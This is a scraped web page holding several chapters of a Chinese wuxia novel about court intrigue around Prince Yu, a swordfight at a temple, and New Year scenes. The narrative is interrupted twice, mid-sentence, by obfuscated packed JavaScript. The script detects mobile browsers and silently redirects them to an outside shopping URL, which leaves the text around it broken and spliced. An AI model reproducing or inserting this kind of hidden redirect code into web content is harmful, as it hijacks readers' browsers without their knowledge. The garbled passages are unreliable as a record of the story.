屿王后来在与石焉会面后这样说道,即便后者什么都没问。他要辩的每一句话,她都猜到了。可他还是固执地一字一句主动解释出来,却不知他是解释给石焉听的,还是解释给自己用的。更不知他是要获得石焉的理解,还是在争取自己的不矛盾与融洽。 “只是向来在最后关头救人性命的,才是那个能够被深刻铭记的。” 即便这样的关头,是用许多他们本可以挽救的人命累积出来的。 “你懂吗?”屿王问道。 他看向她的双眼里,布满了红色的血丝,连日不舍昼夜的赶路,叫他的身体也吃不消了。 “我不懂。”石焉也回看着他,觉得面前的人无比陌生,也无比恐怖。可更叫她感到恐怖的,是自己的反应。不知是不是因为脑中早就有了答案,所以屿王特叫她来说上一通,她耳朵听着,心里却毫无波澜。她比谁都懂得,那些人已经死了,那些生命已经逝去了,如何都挽回不来了。可她明明应该愤怒,应该失望,至少应该心潮澎湃,而不是无动于衷。然而她现在,甚至只盼着屿王手里还有哪些招数快快一齐用了出来,只盼着他和太子之争早日尘埃落定,而去尽快解救那些百姓。故而她低声说了句,“但我能理解,兄长。” 于是接下去的一个月,在太子和屿王的齐心携手下,乐进夔的大疫一点点好转了起来,附近几座繁华州城的生活也恢复了现状,达官贵人的族眷宗亲们更是从北方迁了回来。 虽名义上由皇帝下旨,乐进夔的一切事物仍以太子为指挥统筹,屿王只是协助之由。然而上至朝廷下至百姓,大家都知道是屿王带来了药方,也清楚太子这段时间坐镇京城,而并不亲入乐进夔治疫的所作所为,却在屿王亲临病城后的短短时间内,彻头彻尾地发生了改变。因此一时间,屿王的名声大躁,远远超越了太子。 至于石焉,她抹黑了脸点上了麻子,扮成众多医士中最不起眼的一个,只在外围参与一些喂药的事宜,再暗自记录些解药的药效与周期,也顺便旁观屿王和太子如何在这一盘胜负已定的棋中扮演一对协力友爱的兄弟手足。 “殿下,今日真是痛快。” 自大疫结束以来,石焉便回到了屿王府中,陪伴祝之笺安心养胎。这日她们二人正在院中散步赏雪,看到屿王偕同顾念怀面带喜色地走了进来,而后者正开怀着说道。 “什么事这样高兴?”祝之笺迎了上去,拂去沈谛祝肩帽上的玉尘,她微笑着问道。 “王妃猜猜。”屿王替过石焉,双手小心地扶着王妃,随她一道慢慢向前踱步着。 “皇上的恩赏下来了?” “王妃聪明。”屿王道,“每年临近年末,父皇照例要对臣下班功列罪,各行赏罚,今年已是算晚的了,还有五天就是除夕夜宴。因此今日,他当着太子和几位重臣的面,对我请旨亲赴益州治疫,又日夜赶回乐进夔救民于病苦,再加上你父亲祝大人前去重修水利一事,三功并赏,均大加了褒扬和封赐。” “不止如此呢,”顾念怀和石焉跟随其后,他接道,“皇上之前顾着太子的面子,对乐进夔的情况只让殿下从旁协助,仍由太子主理。既然如此,咱们殿下可不得给足了太子手脚和主管的派头。所以这一个半月,太子是又失了名声和人心,又损了大把的财力与物力。今天他的脸色,那叫一个精彩。” “恭喜殿下,”祝之笺道。 沈谛祝低下头去抚了抚王妃的肚子,道,“父皇得知他将添皇孙,更是高兴。因此这次本殿的三件功劳里,自当有王妃的一半。” “我大门不出,有什么功呢?”祝之笺覆上他的手,提醒道,“是有妙常的一半才对。” 她又说,“小顾告诉过我,此次疫毒乃是人为,是妙常制出了解药,累得她自身也染了病。扎在益州那荒凉之地数月,不知受了多少苦。” 石焉本像个局外人一般在几人身后慢慢走着,却乍然听他们夫妇提到自己,尴尬地笑笑,道,“兄长在益州便赏过我了。之笺你平安产子,才是对兄长最大的恩赐。” 言语中十分识趣地用了“赏”字,未免多心,她先一步将自己的地位脱离了平等之列。 石焉从前觉得自己和屿王是兄妹,和小顾是好友,也许是从小到大,从她自己的角度而言,对待任何人都从未有过三六九等高低贵贱之别,因此她免不了由己度人,觉得别人也会这样对待失了家族势力的自己。然而在益州的那一次失望过后,她已经后知后觉地感到在小顾的眼中,一直是自己在高攀着这段关系。那么兄长呢?自然也不会有任何不同。因为顾念怀和沈谛祝二人但凡有一个并非这样想的,便也不会任由她在另一支队伍中坐船来到京城,因为他们明知船会先到,明知她会先一步得到乐进夔并未如约收到解药的消息,然而他们一开始就丝毫没有打算像她嘱托的那样去做,他们在出发前也丝毫没有给予她任何的预防与沟通,他们在晚一步到达后甚至丝毫不担心她会因此事而发作,从而破坏他们的计划。 因为他们一早就拿准了,她的善良,她的心软,她的识大体,必不会叫她做出出格之事。 长久的养尊处优与奋矜之容,让他们格外的麻木。他们不明白,自己这样的行为,和那些挑捏软善而后肆意践踏之人,几乎快没有任何区别了。 正如此刻,在场诸人并未有一个觉得不妥,他们都沉浸在偌大的喜悦之中。 “不错,我自当为孩儿挣下最好的江山。”屿王应声道。他的手轻柔地抚摸着祝之笺的腹部,而眼神却由笑意变得狠毒起来,“今日的论功行赏,是我往上走的又一步。而如何让太子掉下来,这还只是个开始。” 年末的金陵,已经处处都成了银白色的,各家都添置新衣,准备起过年。屿王如今备受皇帝宠爱,日日忙得脱不开身。石焉则给陆其陇和徒太山处各去了书信,一表自身安好,二表思亲祝愿。 距离除夕还有三天,依照宫廷旧俗,太子妃要在这天出宫到妙因寺布施米粥,以示普民百姓可共享皇家天恩。 妙因寺是皇寺,位于金陵东北向的城郊,殿宇气派,规模恢弘,若说整座金陵何处风景最佳,那必然是此地了。其中供无量寿佛的大佛阁中,佛像眉心一颗珍贵宝石,经太阳照射可成五彩光芒,更添神秘与玄妙。 城中百姓知晓今日太子妃的仪仗光临,一大早便都来驻足围观。传闻太子妃雍容贤惠,善良温和,然而布施时太子妃都是远远的端坐于最末,见过其真容的人还是少数,故而每一年的这天,妙因寺都仍会吸引上里三层外三层的行客。 人声鼎沸中,遂见一端庄女子从寺内后殿中缓步走出,左右侧只扶了一个侍女,远远看去,并看不清容貌,然而她衣饰不着华服,发上不加钗环,仍不掩气质芳华,叫人一眼即知,那便是太子妃来了。 施粥当即开始,正是寒冬腊月的季节,可粥桶中均冒着蒸蒸热气,白烟升腾,浓稠米粥的香气便吹遍了整座寺。太子妃一手挽着宽袖,一手执长勺,依照次序为百姓盛粥,平易近民,和蔼可亲。 叶显开百无聊赖地站在侍卫的外围,他斜靠在高处的一面墙檐下,从头到脚都颇感无聊,独独眼神中却是饶有兴致地看着这一堪称温馨的情景,即便他并非是第一次陪太子妃来施粥,岁岁如此,实在没什么新奇的,然而一载到头唯有这份差事叫他甘之如饴,年年期盼,仿佛亲眼见证了,即代表着他也亲自做了什么大善事。 他穿了身灰色,头戴黑冠,打扮是一如既往的低调,他的职责,是盯紧人群,保护好太子妃的安全。然而今天,似乎有什么不寻常。眼底有锋利的剑光闪过,随即不远处一抹湖蓝色的身影快速穿插过熙熙攘攘的人群,朝舍利塔狂奔而去。 百姓倒没什么反应,忽而有一人向外撤出去反倒使得前排松开了一道口子,大家略过那人,跟着就又朝前围去。 只有叶显开捕捉到了对方横抱的臂弯里藏着一把长剑。那剑被包裹在灰布里,却不小心露出了个剑尖,阳光碰巧射过,直接打进了叶显开的眼底。他瞬间挺起身子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17253679|197975||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有惊动其他侍卫,独自朝身影追去。 那人一看便是练家子,轻功跑得飞快,他随人一道追进寺东的舍利塔中,便见这湖蓝身影拐了个弯已然上了二楼,他亦施展轻功,几步追了上去,在通向三层的楼梯上截住了此人去路。 他居高临下地站在那人身前,看着眼前这副陌生面孔。 一袭男装打扮,头发极利落地盘在头顶,面色泛黄,眉眼均是细长,叶显开断定自己并没见过这张脸。再看其身材纤瘦,肩长背薄,尤其是颈处肌肤白皙,与脸色十分不相当。除去面容生疏之外,此人的身形举止却十分眼熟,让叶显开又觉得必是在哪见过。 然而不及他细想,对方便从布裹中抽出未裹鞘的长剑,朝他刺来。 他向后仰下身去躲避,同时张开折扇格挡,剑扇相叠,方在自己的脸上划过长长一道圆周,而尚不等他起身,对方便已然换了剑式,在他扇面上虚晃一绕,实则已从反向钻了他身与手之间的空隙,朝自己咽喉划来。 可见此人下了狠手,直直为取人性命而来。 不过他不出手倒不要紧,一旦亮了真功夫,便叫叶显开瞧出了端倪。对方手里挽的剑花又快又繁,不是宋氏剑法中的快剑十六招又是什么?他既已心中有数,手上遂也沉了下来,有心要陪对方练练剑法。 他右手合扇弹过剑首,人也趁机重新站了起来,眼见对方再次举剑攻来,这副架势招数都和数月前长街矮墙上那一战一模一样,他便掉了轻心,自觉对于对方有着十足十的把握,脚下也不后退,欲等那剑到了身前再行拆解。 直到剑尖递到离心口不足两寸,他方侧身闪过,同时倒转折扇,手握扇叶,按部就班欲以扇柄回顶住剑的来势,可下一瞬他就知道自己错了。对方早已不是数月前横冲直撞的模样了,其力度和速度都远比那时要更强更快,方才的剑势只是迷惑之计罢了。叶显开刚刚举扇,那人便立刻加快了速度,手腕轻动,剑尖“唰”地朝他胸前刺去。 好在他反应还算快,脚下立刻撤步,那剑才堪堪只在自己的外衣上刮开了一道口子。他此刻初识厉害,遂拿出了本事认真应战,果然,对面一击不中又再度攻来,那人深知一鼓作气再而衰的道理,竟是全然不顾自己防守,只为夺命硬攻的打法。且从方才的轻功便不难看出,他手脚的速度并不在叶显开之下,加之快剑十六招两两之间均可随意搭配,变化繁杂叫人无从捉摸,因此短时内也并未落得下风。 叶显开眼见对方不守门户,破绽屡现,却苦于其进攻地过于猛烈迅速,而抽不出手去反击对方,他不欲取此人性命,只能被动地见招拆招。两人此般缠斗了足足一刻钟,从三楼打到四层,亏得寺院众人大半都去了前院,直到此刻也依旧无人发觉两人在这塔中打个不休。 对方体力总算不支,叶显开看住机会,立时抓住破绽,攻近他要害。对方还未来得及做出反应,便感觉颈侧已被锋利扇叶顶住筋脉,手下一个迟疑,又被叶显开捏住了腕处。 这一次,终归是又败了。 叶显开紧紧盯着对方,他左手抓着对方手腕,右手胁迫住对方脖颈,已是大可放心的全胜之局了。 扇尖随着筋脉一路向下,经过湖蓝色的衣襟,停在胸前的心口处。 “你是女子。” 叶显开的右手隔着扇柄,仍能感到对方的心跳动得厉害,似乎要从胸腔中蹦出来跃上扇面不可,按他的猜测,倒并非害怕之象,恐怕是对其没能杀了自己的遗恨。 对方咬着牙不吭一声,实则暗地里较着劲时刻准备反扑,她身体一动,叶显开便迅速捏着扇骨重又切回她颈侧,把住她命门。 而就在这时,他见对方眼神开始突然变得愈发激愤,心道不妙,要收手已是不及,这人竟伸长了脖子往前一横,扇叶顿时划破细嫩肌肤,涌出刺眼的鲜血来。纵使他几乎是同时间就收了手,这才没让对方的性命断送在眼前,然终归是划出了一道伤口。 谁料仍是没完,此人趁叶显开慌神,另一边拿剑的手便挣脱了他的束缚,手腕向上一翻就是一剑,这一下总算是得了手,叶显开的上臂也被挑开了一道不浅的伤口。而紧接着,她竟不顾自己划破在脖颈命脉上的伤势,提起剑来还要再刺,可体力消耗得过大,后面的几剑都不甚有力,叶显开躲避几步后,见此人似疯魔了般不撞南墙绝不知休,无奈只好推出一掌打在对方肩头。 那人受力,横地摔飞出去,期间腰中掉出来一卷用细绳扎起来的短轴,滚落去了地面,而她落下楼梯,撞在了三层厅堂的一根粗壮殿柱上,“扑”地一大口鲜血又从嘴里吐出,方才喘着粗气消停下来。 叶显开踱步下了楼梯去,走到她身边,蹲下身子来,他用扇子撩开她被汗水和血水混黏在一起的零碎发丝,终于在耳鬓处发现了一条粘合的缝隙,“刷”地一下抖开扇面,比纸更薄的扇叶就那样嵌入缝隙,分割开人皮与假面,他手腕带力,一整张用易容术制成的面具便被撕了下来,露出里面他无比熟悉的面孔。 这张脸此刻双目染血,眉头紧蹙,鼻中一颗小痣瞧得叶显开也跟着皱了眉。他使劲闭了闭双眼再睁开,眼前人此刻盘着个公子发髻,套在这一袭男装中,竟有几分让自己看到了那位文质彬彬的故人,那个曾帮过自己,后又死在自己剑下的,叫宋质玉的画师。 40. 第六章第七节 “你师父的这手功夫,你倒是学的不赖。” 叶显开蹲在原地,也不起身,就那样把玩着这张人皮面具。 宋酬雌靠在殿柱下,紧闭着血红的双唇不答话。她天生长了张抑郁寡欢的脸,微蹙的眉头一直布紧了愁云,嘴角又总是向下撇着,故而她从小每次笑起来的时候也透着股疏离,叫人觉得不达心底,可如今双目充斥起恨意来,反倒也并不叫人觉得如何凶狠。似乎一切的情感与意绪,都在她的脸上被中和成了一种无法浓烈的东西。 “然而你选错了方式。”叶显开见她并不理睬,仍自顾自说下去,“你名叫酬雌,可知你要感谢的是哪位女子?正是现在外面施粥的太子妃。没有她当年的令牌,你也不可能能来到这世上。你千不该意图行刺太子妃,以报私仇。” “呵呵,我比你清楚我的姓名,你怎知我不是故意露剑反光,透出破绽?你又怎知我不是为了引你前来?”她终于开了口,冷冷说道。 太子妃布施是例行常事,她早早便打听好了。 “如你所愿。不过我的确没想到,几个月不见你进步了这么多。不止是力道,就连手上的速度都又快了许多,可见下功夫了。”叶显开边道边站起身,往那掉落的一卷画纸走去,他刚弯腰拾起,便听宋酬雌回道。 “这才哪到哪?我会进步得更多,直到你死为止。”她抬起头来,咬牙切齿地说道,“除非你今天先杀了我。” “我今天杀了你,你还怎么去找江南报你师父的仇?”画卷在手上慢慢展开,露出一双眸子来。 “什么?” “你天天揣着这幅画,却不知道画上的是谁吗?”他边说着边转过身去,嘴角露出一抹可悲的笑容,看向宋酬雌。 叶显开打开那幅画的一瞬间,就瞧了出来画上的那双凶狠眼睛,正属于江南,这个和他认真交过两次手,向他露出过这般眼神的少年。 他亦知道,太子座下痛失五派掌门,都是屿王的手笔,而宋酬雌的师父位在其列,不过是太子和屿王之间博弈交锋下的陪葬品。 屿王府的刺客是江南,那么宋酬雌时时带着这幅画的原因就只有一个,她在找画上的凶手。至于画是哪来的叶显开不想知道,宋酬雌已经从西州口中得到了江南就是凶手的消息他自然也无从知起,只是事已至此,他只想顺水推舟,给他和自己的对家,送去一个共同的障碍。 “江南?不可能!”宋酬雌假意反驳。自上次师门相聚后,她始终对小妹所说心存疑影,并非不信任,而是小妹年幼,骤然受惊之下的记忆不见得全然准确。与其说她借口如斯,不如说是她不想相信这个真相。她仰奉道义与正直,不信人有两面,假意更逾三分。故而她一直寻找,企图找出一个更可能的人来。“杀我师父的人用的是把带梅花刻痕的刀,既非舒云剑,江湖中也无人见过卷云刀如何模样,是否真和舒云剑是一般的打造。更何况…更何况凶手他是个左利手,可江南不是!”她借机将自己心中的顾虑全盘托出,企图从叶显开的回答中试探出其他真相。 “他就是左利手。”叶显开沉声道,“你和他交过手?也是,他的武功比我还要高出不少,对付你,根本不需要用他的惯手。” “怎么可能…”宋酬雌恍然觉得胸腔堵塞的厉害,一口气上不来,便又喷出一口鲜血来,这才通了气息。 她脖子上的伤口不深,却也依然还在涓涓渗出血丝,然而此刻她大脑中的混沌,才更叫她痛苦不堪。 为什么?为什么江南真的是自己的害师仇人?杭城澄清大会上,他武功盖世,是横空于年轻一辈中少有的天才,又不畏强手,敢单挑玉面夫人,他原本应该是个成名在望的少侠啊!宜城岸边,他和石焉一道,可是从叠浪滔天的江中救过自己啊!怎么看他都不该是个没有良心的杀手!救命恩人一下子成了杀师仇人,被自己奉为光亮的未来大侠一下子成了地狱里的恶魔。 宋酬雌胡乱地想道,为什么偏偏他们都是如此?为什么叶显开杀死她父母却三番两次放过她的性命?为什么江南杀死师父又留下西州和本该溺亡的她的性命?为什么他们一个两个,都一面杀人,一面却又饶人?她甚至恨起他们为何不能做个纯粹彻底的恶鬼。 而她更恨的,是如此扭捏犹豫的自己,可性格使然,她每每下定决心非报仇不可,脑中就会想起师父和母亲的劝告,于是心底又开始想起他们尚存良知的一面,不停反复,不停折磨。此刻她更希望的,就是自己被叶显开取走命去,也不必每日如此痛苦纠结地过活了。 浑浊的视线中期盼的那人朝她走了过来,手中缠着一段从他衣服上撕下的布条。 要勒死我吗?很好,快来罢。 那灰色的身影渐渐走近,而后再次蹲了下来,他举起灰色的布条,靠近她的脖子。 然后按在她伤口上,一圈圈缠绕起来,直到血不再大面积地渗透布料,方才打了个结系好。 宋酬雌绝望地闭上了眼睛,她尽力扭动着身子挣扎着,她不想被救命,更加不想被眼前的这人救命。她边流泪,嘴中边呢喃着,“为什么救我!为什么又要假惺惺!为什么扮演好人!有本事,杀了我…” 叶显开的眼中流露出不解的神色,他不懂她此刻内心的悲哀与无望,不懂她怎会央求自己这个仇人,更不懂她为何要一心求死,只是看着她痛苦的表情,眉头越皱越深,他的心里亦很痛。 “你父母,必不想看到你为了报仇失去自己的人生,搭上一生的快乐。”他说道。 宋酬雌的眼睛忽地睁开,她不可置信又愤恨交加地看着眼前之人,痛道,“你有什么资格提我的父母?” “我的父母料到逃不掉,他们一早就叮嘱了我不要复仇,我的师父也常常这样对我说。他们都有资格选择原谅还是不原谅,亦都有资格选择报仇或不报仇。然而除了他们之外的任何人,哪怕是一个与此事全然无关的世外圣人,都没有资格来要求我放下。更何况是你?杀人凶手?” 叶显开似有难言之隐般地看着她,他心下也许有愧疚无以言说,嘴唇微动,犹豫再三,手紧紧攥成了两个拳头,眉头也一蹙一蹙地颤动着,他可能真的很想说一句对不起。 然而终归还是没有说出口,他轻轻将画放回宋酬雌衣边,站起来转身欲走,直到快到楼梯口时才留下一句: “你脖子上的伤,我在布上撒了些金创药,然而只是浅浅包扎了下。这寺中有位禅师法号清一,如果你去找他要间空房借宿几晚养伤,想必他不会拒绝。” 三天过去,转眼就是除夕,这夜皇宫饮宴,屿王与王妃一早就双双入宫去了,府中虽打扮得一派喜气,窗花灯笼贴挂了一排又一排,然而在这特殊的气氛里,反被衬得格外冷清,甚至还不如街巷里的普通老百姓乐的团圆自在。主人不在,连厨房的灶台都没有大起烟火,只照着例炒了些平常的菜式供给下人们饱腹。冰天雪地里,要好的小厮丫头们都各自几个在房中约好了吃饭守岁,也算得上是难得的闲暇自由。 “今年的饺子好似不同些!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17253680|197975||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >登州九顷水帮总舵 汪温言刚夹了一个饺子放进嘴里,看一旁的陆其陇神色郁郁,便故意引起话题道。 今年与往年不同,她担心陆其陇儿子不在身边,公公又大病远走,过年过节难免更加失落,便特从自己的分舵处赶来陪她一道过年。 “可不是不同吗?”卿轩以端了一盘饺子,从外边打了帘儿走进来,他放下饺子在两人面前,掀了衣袍坐在对面。他回到分舵后,刚处理好手头的事情,便又马不停蹄赶来登州陪帮主一同过年。他此刻接上话笑道,“帮主,汪舵主,今年的饺子可是我亲手包的,里头都有些什么馅儿,请二位细尝。” “还用尝吗?”陆其陇勉强露出了一点笑意,只是那笑意里满是疲惫,她不愿扫了大家的兴致,遂打量了卿轩以一眼,了然道,“肯定是鱼肉馅的。” “哈哈哈哈!帮主英明,这是咱们水帮独有的鱼肉饺子!” 陆其陇跟着笑笑,又塞了两个饺子,囫囵个地咽下去后沉声道,“我知道我这个帮主能坐稳,你们两个功不可没。我是杀了原帮主上位的,这事儿在场的人都知道我是不得已,可不在场的弟子,却不一定心里能想得通。你们帮我压下去了多少,我心里有数。” 随后她起身从旁边架子上拿下来一个坛子,拔了塞子,“哗啦啦”倒出来一碗酒来,她举起碗,道,“咱们水帮大家都是五湖四海投靠过来的,哪的都有,不过是想一起跑船拉货,赚银子,有口热饭吃。从来也不像别的江湖门派讲什么师兄弟的名分,但是,”她朝汪温言举碗示意,“你是我姐妹。”又朝卿轩以道,“你是我兄弟。” “这一碗,我敬你们。”说罢,她将碗中盛满的酒咕咚地大口全灌了下去。紧接着又倒满一碗,她叹口气,举起来直接全泼去了地上,而后顿了顿,低声道,“第二碗,给石曾忆。” “斯人已矣,说多的没用。只怪我年轻的时候为色所迷,见了他的美貌就离不开了。”她本就是江湖儿女出身,因此说话也不避讳,自嘲地笑笑,接着道,“但我不后悔,这碗敬他,是因为他毕竟给我留下了一个孩子。方儿是我弄丢的,我这辈子都要找到他。但是你们放心,不管什么时候找到,我都不会萎靡,不会以误了水帮为代价。这点事儿还打不倒我。” 说完后,她抹抹嘴巴,再次将碗倒上,然后端着掀开门帘走了出去,外头的喧闹气息一下子就盖了过来,院子里摆了十几张小桌子,坐满了水帮的弟子,大家都在喝酒吃肉,享受过年的热闹,见帮主出来,才纷纷安静下来。 她大声道,“这一碗酒,我敬大伙!诸位,你们一日是水帮的弟子,就一日是我陆其陇的朋友!就一日不会让你们饿着!你们为水帮出力,我都记着!来!大家一起喝!” 她豪爽地喝下,酒水珠子顺着嘴角滑落出来,然后被粗糙沧桑的手掌抹去。陆其陇年纪不轻,自入了水帮后早些时候事事亲为,也算为她如今接管帮派打下了基础,一双手练功早就布满了老茧,脸上的额头眼角也爬了不少细纹。不过她现在所有的心血,除了找石方,就全扑在了水帮上,根本没有多余的力气去关注自己的容颜是否如旧,更何况她统管全帮上下,也根本不在乎这些。 众人一并举起碗来喝了,大声贺道,“多谢帮主,过年好!” 她看着全院,几十张朴实的面孔,从年轻的到年老,从堂堂男子汉到巾帼女儿家,这些人把性命身家都托付在水帮里,都系在她一人肩上,于是她终于诚心地笑了出来,爽朗回道,“过年好!” 41. 第六章第八节 “师兄?” 江北今日专门从归留园端了三大盒子的吃食,从炙子骨头到红烧鼋鱼,再加上炊羊肉、炒肥鸭、参肚羹等等十样大菜,凡是贵的全点了个遍。此刻他刚挑着食盒回到城郊林中的卷云洞口,便见到江南也正从外面回来。他急赶两步,惊喜道,“还以为你今日要在王府那头过年呢!” 江南接过他手里的两个盒子,看着师弟那满脸没出息的贪吃样,笑道,“这么多菜?师父向来不和我们同用饭,剩下咱们三个,也吃不了啊。” “谁说的!”一句娇俏的女生喝道,是一直等在门口处的山黛听见人声传回,便迅速从溶洞里侧迎了出来,跟着两人,边说边回向里走,“我和阿北师兄为等着这顿已经饿了一天了!” 卷云洞实则是一处既深且长的巨大溶洞,虽在金陵城中,却少有人知其具体位置,只因为它藏于城南郊外的一处广袤林子里,洞口不设门,不立柱,不挂匾,像是个黑黢黢的空巢,加上两旁尽是植被树木,因此就算有人经过也不知这里竟就是常被论到的江湖帮派卷云洞。 而进了入口往里走也并没有以为中的别有洞天,肖云慕在此处建派后从未进行过修缮装饰,竟就在这样原始的阴暗环境中收徒练功,一过就是数十年。唯一能看出有人为改造痕迹之处的,便是为了方便行走,打磨的几座分布于各处的石头台阶了。潮湿的岩石地弯绕曲折,头顶两边皆是凹凸不平的钟乳石柱,间或还有浅溪水坑,人在其中,走着便要低头弯腰,或上下台阶,或拐弯绕行,深处更是如同迷宫一般。 溶洞最里,上下各长了无数钟乳,如巨兽之齿参差排列,而中间留空的地方恰好形成了一圆形的天然隔断,猛然看上去,倒像是洞中的又一小洞,小洞内又有一五级台阶,沿阶上行后是一块光滑巨石,此石室便是肖云慕练功打坐,起居生活之处了。至于江南江北山黛山青四位弟子的住处,则是散开分布在溶洞的四角。此处环境恐怕堪比天下最复杂的迷宫,常常是一个转身就是一处新境。江南等人正是因为自小住在其中,这才对途径熟门熟路。 然而因着钟乳生长规律难以琢磨,因此不论位于洞深处何地,人的视线亦总会往往被各种形状、各种高矮的石头遮挡阻碍,故而整洞之中,除了为练功而设的一处宽阔平台位于隔断外侧正对洞口,再没有一处是可以完全伸展开来看遍上下四周的,卷云洞弟子对于武功路数向来信奉快刀斩乱麻强过大幅度的开合,便是为此。且洞内潮湿,就不易燃烛,总是黑漆漆的不见光明,这才练就了江南等人非凡的耳力和对风吹草动超常的感知。不过也因为这样,几位弟子与师父同住洞内,亦从未因沐浴更衣等事互相冲撞过。 三人一路有说有笑走到江北的房中坐下,打开食盒,香气便一瞬间就全喷了出来,将还冒着热气的菜肴一一端了出来,尽是重油的荤肉,不见一道主食,更不见一道素菜。江南问道,“怎么不买馒头大饼?” 山黛嫌弃地看了他一眼,“师兄,怎么你跟着屿王那么久眼界却不见长!今天是什么日子?还吃什么馒头大饼,都把人吃饱了。”她目不转睛地盯着逐渐被占满的桌子,嘴里还不忘振振有词,“钱要花在刀刃上,肚子要留到除夕上。” 江北闻言忍俊不禁,却仍然满是宠溺地应声道,“话糙理不糙。归留园每年都只到了这一天才会开新菜单,也唯有它家才做这几种名菜,平时就算有钱都买不到,多亏我今儿一早就去排着了。挂牌上倒是有一道白肉胡饼,可那饼子我又不是没见过,任它加什么白肉居然摇身一变就翻了好几番,还不如再来一道纯肉菜,是吧山黛?” “没错!” 江南看着二人一唱一和的侃侃样子,一时失笑,他默不作声地把碟子碗筷全都准备好,心想,他们哪里知道,有些东西钱得不到,唯有权才可以。 这些都是皇宫里传出来的菜式,屿王曾说过多次,总吃这些油腻惹得他反胃,因此每年宴会他都不怎么动筷子,而是要回了王府后再自行用些清粥淡菜以养脾脏。可这样的油水,是他和阿北一年到头也难得见一次的。屿王给的月银不少,师父拿走七八成后,给他们留下的却也不算太多了。自己苦惯了没什么,可他实在不愿师弟妹也要为了一顿好吃的竟饿上一两日,还觉得美滋滋的。 因此江南每每都把剩下的银子全给了阿北,阿北又加上些自己赚来的,一半给了师妹,一半存下来,他还打算着山黛和山青以后嫁人要添嫁妆。而山青死后,给她存的银子,自然都是山黛的。 而此刻呢,这位无忧无虑的小姑娘,正伸了手准备从盘中偷捏一块鸭肉。 “好了。”江北同江南一起,小心翼翼地把菜布好,而后他顺势拍掉山黛不听话的手,道,“师兄,去年这个时候你陪着屿王在宫里,今年一起先去给师父磕头吧?” “对对对,去年师兄你没回来,师父就对我和阿北师兄发火。”山黛忙不迭附和道。 江南听到这话心里顿时很不是滋味,去年除夕,屿王的确带他入宫,命他趁众人大都聚在宴会上时,潜进史书库去盗一份文件。他此刻觉得愧疚,当即就答应了一起去了。 果不其然,肖云慕见到三人,仍是一脸不快,她端坐在巨石之上,看着齐刷刷跪在面前拜年的三张面孔,怨怒道,“呵呵,看来这人是齐不了了。去年大的不在,今年小的又死了。明年呢?” “一个个光嘴上说得好听,你们要想为师我过年好,就尽快把凌霄宫里的那个贱人杀了!也算是替你们师妹报仇。” 她最不喜烛火,此刻的石室更是十分阴暗,洞内时不时有水滴落下的叮咚声,江南却依旧能感觉到师父的目光如剜刀一般朝自己射了过来,果然下一刻就听她冷冷唤道,“江南。” “弟子在。” “你已经被肖云翎打败过一次,做了她的手下败将。这屈辱称号你还要受到何时!?打败她!取代她!”她的语气一下子凌厉起来,几乎是叫了出声来,她似乎根本不去管肖云翎和江南之间悬殊的差距,不论是年龄资历,还是武学成就。在别人眼中和玉面夫人对阵百招的江南是个前程不可限量的可敬后辈,在她眼中却只是一道抹不去的屈辱。 只听她又道,“你天资本就不够,后天努力更是平平!若非我不嫌弃,你怎么有幸能做卷云洞的大弟子?怎么有幸去替屿王卖命?更怎么有幸能摸上一回卷云刀的刀尖?!” “若非师父养育,弟子早死在襁褓中了,根本不可能活到今日。”江南低声道,他从怀中摸出一个钱袋,这是屿王发给大家过年的赏钱,他提前花了一部分,将这剩下的全数向肖云慕递了上去,“请师父别生气,弟子往后一定更加勤谨练功。” 肖云慕稍稍消了气,她接过银子数了数,而后满意道,“你们殿下的确不小气,否则我也不会让你跟着他这么多年,只是这些么,也不过是些小头。”她将钱袋随手抛到身旁地上,地面上湿漉漉的水气瞬间就洇上了钱袋底部,只听她又道,“明年就是四年一届的刀宗与剑宗比武,去给我把你的看家本事拿出来,养你这么多年,好歹该替卷云洞长一次脸。” 她的声音又细又尖,刺进江南心里,像一把劲弓上,最锋利的那根弦,勒紧了他的胸腔和肺腑。 “师兄,你刚才就吃了两口,那肉羹也不多喝一碗,你吃饱了吗?” 向师父拜好年后,几人便自己回到房中,山黛心思直白,本欢天喜地地以为终于能和两个师兄自行团圆过年了,谁知江南才吃了没一会便要回王府去,她看着一桌子美味佳肴,并不能理解师兄心中的黯然,边鼓着腮帮子嚼肉,边发出了之前的疑问。 “谁像你没心没肺似的。”江北拦道,“难道你忘了刚才师父也训斥过你了?” “师父训斥我们不是常事吗?再说只要师兄在,师父每次主要训斥的对象就会放在师兄身上,没我太大事儿。只是今天过大年,师兄你也不陪我们吗?” 山黛说的倒是实话,刚才在石室里,肖云慕看见山黛的第一眼,就训斥了她大过年的却穿了一身素白衣服,不像拜年,却凭白像去吊丧。然而也只是骂了两句,全部的功夫精神便转去大弟子身上了。 江南这会儿听了她的话也不恼,能为师弟妹抗两顿打骂,他只觉得是自己应该的,他扯起嘴角,尽力笑着道,“师兄人虽然不能陪你太久,但是这礼物——”他故意拖长了声音,从腰间掏出一对宝石耳坠,送到山黛眼前,“却可以替师兄时时陪伴你。” “我还以为师兄你忘了给我准备新年礼物。”山黛惊喜地接过,是一对白玉打的葫芦坠子。 她自从在杭城见了那在船头上跳舞的白衣素发女子,当下就没来由地一阵向往,只觉得自己向来钟爱的一切都甚是俗气,回来后便日日想学她的打扮做派,因此才突然转了性子。江南虽不知这些关节,只以为师妹喜好无常,才投其所好买了白玉的耳坠作为礼物。 